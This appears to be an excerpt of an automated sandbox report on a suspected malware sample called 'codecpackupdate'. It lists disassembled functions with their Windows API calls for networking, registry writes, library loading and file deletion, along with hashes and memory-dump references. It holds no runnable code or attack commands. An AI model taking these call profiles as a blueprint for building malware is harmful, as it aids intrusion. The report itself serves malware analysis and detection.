GetTickCount.KERNEL32 ref: 00401FFB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00402061

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Resource$AllocGlobal$CountErrorFindLastLoadLockSizeofTick
String ID:
API String ID: 564119183-0
Opcode ID: d2a57f7cc8f0d0fe454428983335f0199e5147479bb7e2a898d268b80a50adbf
Instruction ID: cd0a89f7906a11fa59f7c630caffefac6273cd55dd9fd3e2fc017d6917677aa9
Opcode Fuzzy Hash: d2a57f7cc8f0d0fe454428983335f0199e5147479bb7e2a898d268b80a50adbf
Instruction Fuzzy Hash: DB312971A40251AFDB109FB99E489AF7B78EF49344B10807AFA46F7281D6748941C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 009F26DB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 009F2706
CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 009F272B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A15A93), ref: 009F2738

Part of subcall function 009F1712: __EH_prolog.LIBCMT ref: 009F1717

SetWaitableTimer.KERNELBASE(?,?,000493E0,00000000,00000000,00000000), ref: 009F2778
RtlLeaveCriticalSection.NTDLL(?), ref: 009F27D9

Strings

timer, xrefs: 009F2745

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID: timer
API String ID: 4293676635-1792073242
Opcode ID: e3f0859a34ea27fc398250d1a43331681fe327d99367ff4315a908700cf661a2
Instruction ID: b84edb636d977e918257c67f9abb38d412c366f8bc9ac9996a44153925322b0b
Opcode Fuzzy Hash: e3f0859a34ea27fc398250d1a43331681fe327d99367ff4315a908700cf661a2
Instruction Fuzzy Hash: 7A31A1B1508709EFD310EF65D945B6ABBECFB48765F004A2EF95587680D770E900CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009F2B95 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 009F2BE4
WSARecv.WS2_32(?,?,?,?,?,00000000,00000000), ref: 009F2C07

Part of subcall function 009FA43C: WSAGetLastError.WS2_32(00000000,?,?,009F2A51), ref: 009FA44A

WSASetLastError.WS2_32 ref: 009F2CD3
select.WS2_32(?,?,00000000,00000000,00000000), ref: 009F2CE7

Strings

3', xrefs: 009F2C85

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$Recvselect
String ID: 3'
API String ID: 886190287-280543908
Opcode ID: 81cc69d929e7974da876504aa965c954cde680f31e61c0ca81c8f7460cae373e
Instruction ID: 422558ee40ee65e4d103b3d69a44dd8ee41d9b89e20ffd21da74d6a95f9247e7
Opcode Fuzzy Hash: 81cc69d929e7974da876504aa965c954cde680f31e61c0ca81c8f7460cae373e
Instruction Fuzzy Hash: 51417AB1A083098FD710DF64D505BBBBBE8BF84355F20491EFA99C7291EB74D8418B92

Uniqueness

Uniqueness Score: -1.00%

Function 009F29EE Relevance: 7.6, APIs: 5, Instructions: 79
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSASetLastError.WS2_32(00000000), ref: 009F2A3B
closesocket.WS2_32 ref: 009F2A42
ioctlsocket.WS2_32(?,8004667E,00000000), ref: 009F2A89
WSASetLastError.WS2_32(00000000,?,8004667E,00000000), ref: 009F2A97
closesocket.WS2_32 ref: 009F2A9E

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLastclosesocket$ioctlsocket
String ID:
API String ID: 1561005644-0
Opcode ID: bb4104a61ebb8f266a91d3dbea19cef88226777ecdc7dac15cb0eff6d5fe24af
Instruction ID: 472100aab4398ee66d5bb8d820b33896c3d3d4a18655c0e2c3ae93cf8813c2fb
Opcode Fuzzy Hash: bb4104a61ebb8f266a91d3dbea19cef88226777ecdc7dac15cb0eff6d5fe24af
Instruction Fuzzy Hash: 7021D3B1A00309ABDB20EBF89948BBE76FCAF44311F148569FA15C32D1EA74CD468751

Uniqueness

Uniqueness Score: -1.00%

Function 009F1BA7 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 009F1BAC
RtlEnterCriticalSection.NTDLL ref: 009F1BBC
RtlLeaveCriticalSection.NTDLL ref: 009F1BEA
RtlEnterCriticalSection.NTDLL ref: 009F1C13
RtlLeaveCriticalSection.NTDLL ref: 009F1C56

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$H_prolog
String ID:
API String ID: 1633115879-0
Opcode ID: 631e10ef4b574c148a691b8012db53d7877dad497fd25a765f37b73962238e1a
Instruction ID: 39b5e59477aa92a014f172dbc65c8c39e428941af4eb3036536de2b596acd233
Opcode Fuzzy Hash: 631e10ef4b574c148a691b8012db53d7877dad497fd25a765f37b73962238e1a
Instruction Fuzzy Hash: C321AB75A04219DFCB14CF68C8447AABBB8FF98310F118189E95597301D774ED01CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00402F22 Relevance: 6.1, APIs: 4, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32 ref: 00402F48

Part of subcall function 0040325A: HeapCreate.KERNELBASE(00000000,00001000,00000000,00402F81,00000000), ref: 0040326B
Part of subcall function 0040325A: HeapDestroy.KERNEL32 ref: 004032AA

GetCommandLineA.KERNEL32 ref: 00402F96
GetStartupInfoA.KERNEL32(?), ref: 00402FC1
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00402FE4

Part of subcall function 0040303D: ExitProcess.KERNEL32 ref: 0040305A

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: 4c4ec3abad10afb3f5883e2b41922209f0fc22101904852709d3b5132570f021
Instruction ID: 0a95150e04a59658555c79dd88d1413615d8933c927d5f415567a3b7127da264
Opcode Fuzzy Hash: 4c4ec3abad10afb3f5883e2b41922209f0fc22101904852709d3b5132570f021
Instruction Fuzzy Hash: 32218EB19407059BDB08AFA6DE49A6E7BB9EF44304F10413EFA05BB2E1DB384550CB99

Uniqueness

Uniqueness Score: -1.00%

Function 009F2EDD Relevance: 6.0, APIs: 4, Instructions: 49networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 009F2EEE
WSASocketA.WS2_32(?,?,?,00000000,00000000,00000001), ref: 009F2EFD
WSAGetLastError.WS2_32(?,?,?,00000000,00000000,00000001), ref: 009F2F0C
setsockopt.WS2_32(00000000,00000029,0000001B,00000000,00000004), ref: 009F2F36

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$Socketsetsockopt
String ID:
API String ID: 2093263913-0
Opcode ID: 51e4c58dcd5e3bb2a1401454d71bb132e276c85d39f1414771666e7a59f39a6c
Instruction ID: 00757c2d8695c277468882762cb1e6074c32a18212ab9bfee66fa42583186575
Opcode Fuzzy Hash: 51e4c58dcd5e3bb2a1401454d71bb132e276c85d39f1414771666e7a59f39a6c
Instruction Fuzzy Hash: BB017571611208BBDB209FA5DC49FDA7BBDEB89761F008565FA18CB191D6748C018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009F2DB5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100networkCOMMON

Download Yara Rule

APIs

Part of subcall function 009F2D39: WSASetLastError.WS2_32(00000000), ref: 009F2D47
Part of subcall function 009F2D39: WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 009F2D5C

WSASetLastError.WS2_32(00000000), ref: 009F2E6D
select.WS2_32(?,00000000,00000001,00000000,00000000), ref: 009F2E83

Strings

3', xrefs: 009F2E22

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$Sendselect
String ID: 3'
API String ID: 2958345159-280543908
Opcode ID: 3a222178ea703f5d52080c78c0d73cfb6eea68e61438407d48473288933b7e45
Instruction ID: e35dea037f1cf01f3a900e3e13ac2ba0f90b07a650dcebcdd36997c77c16cbda
Opcode Fuzzy Hash: 3a222178ea703f5d52080c78c0d73cfb6eea68e61438407d48473288933b7e45
Instruction Fuzzy Hash: E331CDB0E0030D9FDF10DFA0D806BFE7BB9AF48364F104559EA09D7281E7B499458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009F2AC7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 009F2AEA
connect.WS2_32(?,?,?), ref: 009F2AF5

Strings

3', xrefs: 009F2B3B

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLastconnect
String ID: 3'
API String ID: 374722065-280543908
Opcode ID: 437ca5772bf10e842f1be8c55d5256fc7b00b2a7ddda7a359aeb1d7e4fb1c02c
Instruction ID: aa359dd62a2dac1b446022054179303a613d6cc10098bfd5f8fefcfa6de5be68
Opcode Fuzzy Hash: 437ca5772bf10e842f1be8c55d5256fc7b00b2a7ddda7a359aeb1d7e4fb1c02c
Instruction Fuzzy Hash: 8C21C670E0020CABCF14EFA4D505BFEBBB9EF85321F108159ED19D7281DB748A028B91

Uniqueness

Uniqueness Score: -1.00%

Function 009F353E Relevance: 4.6, APIs: 3, Instructions: 127COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F3543

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 881c8be00c89de65423f84902410ad4697b8bb030b4a0026186a2cc2042ab3e9
Instruction ID: e710ecef1a6012b64c5a00c37f3681a358dfe1065cec6e3d42d4fcc13a1ce23b
Opcode Fuzzy Hash: 881c8be00c89de65423f84902410ad4697b8bb030b4a0026186a2cc2042ab3e9
Instruction Fuzzy Hash: 73513EB190421ADFCB04DF68D541BAABBB4FF48310F14C15DF9299B391D7749A11CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 009F369A Relevance: 4.6, APIs: 3, Instructions: 60COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(?), ref: 009F36A7

Part of subcall function 009F2420: InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 009F2432
Part of subcall function 009F2420: PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 009F2445
Part of subcall function 009F2420: RtlEnterCriticalSection.NTDLL(?), ref: 009F2454
Part of subcall function 009F2420: InterlockedExchange.KERNEL32(?,00000001), ref: 009F2469
Part of subcall function 009F2420: RtlLeaveCriticalSection.NTDLL(?), ref: 009F2470

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Interlocked$CriticalExchangeSection$CompareCompletionEnterIncrementLeavePostQueuedStatus
String ID:
API String ID: 1601054111-0
Opcode ID: a2b40948ee6da0f992dc5619e0c2cc4e9c13aa7ef4d03587ba5ca90377afee23
Instruction ID: da9b57ca03fb6d0a5280fc55ca1875ac9a3fb6dd8eabcd1c540ee7d20859c55b
Opcode Fuzzy Hash: a2b40948ee6da0f992dc5619e0c2cc4e9c13aa7ef4d03587ba5ca90377afee23
Instruction Fuzzy Hash: 4B11C1B510420DABDF21AF54CC86FBA3B69EF44350F108516FF12CA2E0CB78DA619B94

Uniqueness

Uniqueness Score: -1.00%

Function 00A02030 Relevance: 4.5, APIs: 3, Instructions: 42threadCOMMON

Download Yara Rule

APIs

__beginthreadex.LIBCMT ref: 00A02046
CloseHandle.KERNEL32(?,?,?,?,?,00000002,009FA8BC,00000000), ref: 00A02077
ResumeThread.KERNELBASE(?,?,?,?,?,00000002,009FA8BC,00000000), ref: 00A02085

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CloseHandleResumeThread__beginthreadex
String ID:
API String ID: 1685284544-0
Opcode ID: 13ec9ac59bc253088c557332cc897830248e98d0fb7fc6adfff897e5d524eeca
Instruction ID: a7d7c54fe7703423b358edd730d04c50542d0de3608c710396b74f106eddd20f
Opcode Fuzzy Hash: 13ec9ac59bc253088c557332cc897830248e98d0fb7fc6adfff897e5d524eeca
Instruction Fuzzy Hash: 97F0AF71200304ABD7209FA8EC84B9573A8AF48321F24452AF148D72D0C361AC82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009F1AA9 Relevance: 4.5, APIs: 3, Instructions: 18networkCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(00A2727C), ref: 009F1ABA
WSAStartup.WS2_32(00000002,00000000), ref: 009F1ACB
InterlockedExchange.KERNEL32(00A27280,00000000), ref: 009F1AD7

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: Interlocked$ExchangeIncrementStartup
String ID:
API String ID: 1856147945-0
Opcode ID: 10b4ccdbf1197908eb29ccf5b37ebce38dc5fa770db4f6b19b70342395629b89
Instruction ID: 45745674e4bc455b0a054296e90352d1c11af8b50232c2638f00dff6aabf6fc0
Opcode Fuzzy Hash: 10b4ccdbf1197908eb29ccf5b37ebce38dc5fa770db4f6b19b70342395629b89
Instruction Fuzzy Hash: 36D05E71589318ABD220E7E4BD0EAFC773CF709711F401761FD69C00D0EA515A1086A6

Uniqueness

Uniqueness Score: -1.00%

Function 0040223C Relevance: 4.5, APIs: 3, Instructions: 12timeCOMMON

Download Yara Rule

APIs

GetCommandLineW.KERNEL32 ref: 0040223C
CommandLineToArgvW.SHELL32(00000000), ref: 0040B040
GetLocalTime.KERNEL32(00409FB8), ref: 0040B942

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: CommandLine$ArgvLocalTime
String ID:
API String ID: 3768950922-0
Opcode ID: f727ac15d8a02c0163e01fb7637a754121b5fc1ed335fb52cb76b17d48f4068b
Instruction ID: fe59c91cec6a1bbfec2f2a739a0674a99631b7336b4ea49b5c82aa235aaf9e13
Opcode Fuzzy Hash: f727ac15d8a02c0163e01fb7637a754121b5fc1ed335fb52cb76b17d48f4068b
Instruction Fuzzy Hash: F4D01273448012EBC2007BE19A0E99D37E5A64A3523224077F243F11E1CB3C44959B6F

Uniqueness

Uniqueness Score: -1.00%

Function 009F4BED Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F4BF2

Part of subcall function 009F1BA7: __EH_prolog.LIBCMT ref: 009F1BAC
Part of subcall function 009F1BA7: RtlEnterCriticalSection.NTDLL ref: 009F1BBC
Part of subcall function 009F1BA7: RtlLeaveCriticalSection.NTDLL ref: 009F1BEA
Part of subcall function 009F1BA7: RtlEnterCriticalSection.NTDLL ref: 009F1C13
Part of subcall function 009F1BA7: RtlLeaveCriticalSection.NTDLL ref: 009F1C56

Part of subcall function 009FE02B: __EH_prolog.LIBCMT ref: 009FE030
Part of subcall function 009FE02B: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 009FE0AF

InterlockedExchange.KERNEL32(?,00000000), ref: 009F4CF2

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
String ID:
API String ID: 1927618982-0
Opcode ID: 7ea3fcd13abc419d9a5c4f9d49d0d36fad1d8e0bda1178c293ed290c9afdab1f
Instruction ID: 586e652295b9ed14606c48389a1edfdbb35c1f56ce128280e89f2027ef7be91c
Opcode Fuzzy Hash: 7ea3fcd13abc419d9a5c4f9d49d0d36fad1d8e0bda1178c293ed290c9afdab1f
Instruction Fuzzy Hash: 3F510B71D0424CDFDB15DFA8D485BEEBBB8AF48310F14815AEA05AB352DB709A44CB50

Uniqueness

Uniqueness Score: -1.00%

Function 009F2D39 Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 009F2D47
WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 009F2D5C

Part of subcall function 009FA43C: WSAGetLastError.WS2_32(00000000,?,?,009F2A51), ref: 009FA44A

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLast$Send
String ID:
API String ID: 1282938840-0
Opcode ID: 8bd99fa224babf59bc31dda5d5e37a7ac2bef6a15fbb31dcfcd4007b537584fe
Instruction ID: 5f794e620723a318bb6a0e900a3698058dd7d6c6cea41200d24a51dab1758e41
Opcode Fuzzy Hash: 8bd99fa224babf59bc31dda5d5e37a7ac2bef6a15fbb31dcfcd4007b537584fe
Instruction Fuzzy Hash: 120171B550420DEFD7209F949944DBBBAECFB45361B20452EF95983280DB749D008B61

Uniqueness

Uniqueness Score: -1.00%

Function 009F831D Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 009F833A
shutdown.WS2_32(?,00000002), ref: 009F8343

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: ErrorLastshutdown
String ID:
API String ID: 1920494066-0
Opcode ID: 1b911946899e7ca7c26c65f30ae053f480ee0dc2bc9fece646e0f9a2b0144cc4
Instruction ID: 5d15c60f081e20b1ac4155a147b2172eff50f2ce620bd28f9c3df2cb78c7c3b3
Opcode Fuzzy Hash: 1b911946899e7ca7c26c65f30ae053f480ee0dc2bc9fece646e0f9a2b0144cc4
Instruction Fuzzy Hash: 99F090B1A04318CFC714AF58D405FAA77E4BF08721F00841CEA9997391DB74AC018BA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040325A Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00402F81,00000000), ref: 0040326B

Part of subcall function 00403112: GetVersionExA.KERNEL32 ref: 00403131

HeapDestroy.KERNEL32 ref: 004032AA

Part of subcall function 004032B7: HeapAlloc.KERNEL32(00000000,00000140,00403293,000003F8), ref: 004032C4

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 401029335cdd060f4c3739ebb86f5453ce87962896cee6a98a7773047d595e2a
Instruction ID: bdc1dc1f8be9f1a85e4812a31df9c453441b6f572615afd11c7cbbe7009e603d
Opcode Fuzzy Hash: 401029335cdd060f4c3739ebb86f5453ce87962896cee6a98a7773047d595e2a
Instruction Fuzzy Hash: 08F0E5319043015AEF245F306E463263EA8DB50397F1184BFF401F82D1EB78C790950A

Uniqueness

Uniqueness Score: -1.00%

Function 004026BA Relevance: 3.0, APIs: 2, Instructions: 12registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.KERNELBASE(?), ref: 0040BB89
RegCloseKey.KERNELBASE(?), ref: 0040BBA1

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_codecpackupdate.jbxd

Similarity

API ID: CloseValue
String ID:
API String ID: 3132538880-0
Opcode ID: e5558a01befb399580d90c15d8e77e87dddf6eb678b6b853077a7300c8dcf38d
Instruction ID: 3cbe291bb339146179499fcb751b8313bc5c9d0f62fdf094b2037c6fd71a0925
Opcode Fuzzy Hash: e5558a01befb399580d90c15d8e77e87dddf6eb678b6b853077a7300c8dcf38d
Instruction Fuzzy Hash: 47D0C971808002FFCB150B909E088293E79FB04350B200032E243708E4C7392462FAAF

Uniqueness

Uniqueness Score: -1.00%

Function 009F5119 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009F511E

Part of subcall function 009F3D7E: htons.WS2_32(?), ref: 009F3DA2
Part of subcall function 009F3D7E: htonl.WS2_32(00000000), ref: 009F3DB9
Part of subcall function 009F3D7E: htonl.WS2_32(00000000), ref: 009F3DC0

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: htonl$H_prologhtons
String ID:
API String ID: 4039807196-0
Opcode ID: 30695b8a1cf7c479ddc60c4fadb2fe4f973011b2507fe85a61ab956cfc49904e
Instruction ID: 99556be3c81a7d3e25cd6ca393513d9c047d4a22de71868e6b35e990e30f71c7
Opcode Fuzzy Hash: 30695b8a1cf7c479ddc60c4fadb2fe4f973011b2507fe85a61ab956cfc49904e
Instruction Fuzzy Hash: 7E8159B1D0424ECECF05DFA8D480AFEBBB8AF48310F14815AEA54B7241EA756A05CF75

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B0CF Relevance: 1.6, APIs: 1, Instructions: 94fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE ref: 00A652C7

Memory Dump Source

Source File: 00000003.00000002.2868320795.0000000000A2A000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A2A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a2a000_codecpackupdate.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 2b75b581af97edd669f649b30272867d2ed96aa0e0b886ab7eaca5550e5ae247
Instruction ID: 6d7aa1879b2d059c98c5806101343b454673fcea30e929d8a70c605ca080bdcd
Opcode Fuzzy Hash: 2b75b581af97edd669f649b30272867d2ed96aa0e0b886ab7eaca5550e5ae247
Instruction Fuzzy Hash: 272136F390C6106BE7017E2EDC84629B7E9EFD8320F1A453DDBC143704F97068008692

Uniqueness

Uniqueness Score: -1.00%

Function 009FE8F4 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 009FE8F9

Part of subcall function 009F1A01: TlsGetValue.KERNEL32 ref: 009F1A0A

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: eb479164d09457e604f03c2a88a2202aa74983d824afea169b73c66f7ecf9683
Instruction ID: d45ae5bfb45c36e99450b98dd230ea6ce0bd276138e96ab319c02d2482229208
Opcode Fuzzy Hash: eb479164d09457e604f03c2a88a2202aa74983d824afea169b73c66f7ecf9683
Instruction Fuzzy Hash: BA214FB1905209AFDB00DFA4D541AFEBBF9EF48310F10441EEA18E7251D775A940CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 009F33B2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 009F33CC

Part of subcall function 009F32AB: __EH_prolog.LIBCMT ref: 009F32B0
Part of subcall function 009F32AB: RtlEnterCriticalSection.NTDLL(?), ref: 009F32C3
Part of subcall function 009F32AB: RtlLeaveCriticalSection.NTDLL(?), ref: 009F32EF

Memory Dump Source

Source File: 00000003.00000002.2868320795.00000000009F1000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_9f1000_codecpackupdate.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompareEnterExchangeH_prologInterlockedLeave
String ID:
API String ID: 1518410164-0
Opcode ID: 0e7df1038251e186f0cc8fdc7e8d6f6c765962a1e52c3162e7e87102434b5721
Instruction ID: ebea8022824bd9cca92659f5a9b5ab4c8115dcf8b2bf53267bf205d068e74e7c
Opcode Fuzzy Hash: 0e7df1038251e186f0cc8fdc7e8d6f6c765962a1e52c3162e7e87102434b5721
Instruction Fuzzy Hash: F901447121460AAFD704DF59D885F65B7A9FF45320F10C319E929872D1EB70ED11CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00A6020E Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNELBASE(4660960D), ref: 00A8E376

Memory Dump Source

Source File: 00000003.00000002.2868320795.0000000000A2A000.00000040.00001000.00020000.00000000.sdmp, Offset: 00A2A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_a2a000_codecpackupdate.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: e0da2dffa4f581ab40d4b91ad567db9e8151d84cf028e1dfece08c4088839a33
Instruction ID: 9b4da54cac07c2c577e0c256c75d1f5ef9ad045d0a7f3b35db068f63db0e32a5
Opcode Fuzzy Hash: e0da2dffa4f581ab40d4b91ad567db9e8151d84cf028e1dfece08c4088839a33
Instruction Fuzzy Hash: F20104F250CA10ABE3097F0AD8816BEFBF8EF94311F06482DE2C583710E67054808B97

Uniqueness

Uniqueness Score: -1.00%

Function 004026E2 Relevance: 1.5, APIs: 1, Instructions: 39libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNELBASE(?,00000000), ref: 0040B8D6

Memory Dump Source

Source File: 00000003.00000002.2867652941.0000000000400000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2867652941.0000000000409000.00000040.00000001.01000000.00000008.sdmpDownload File
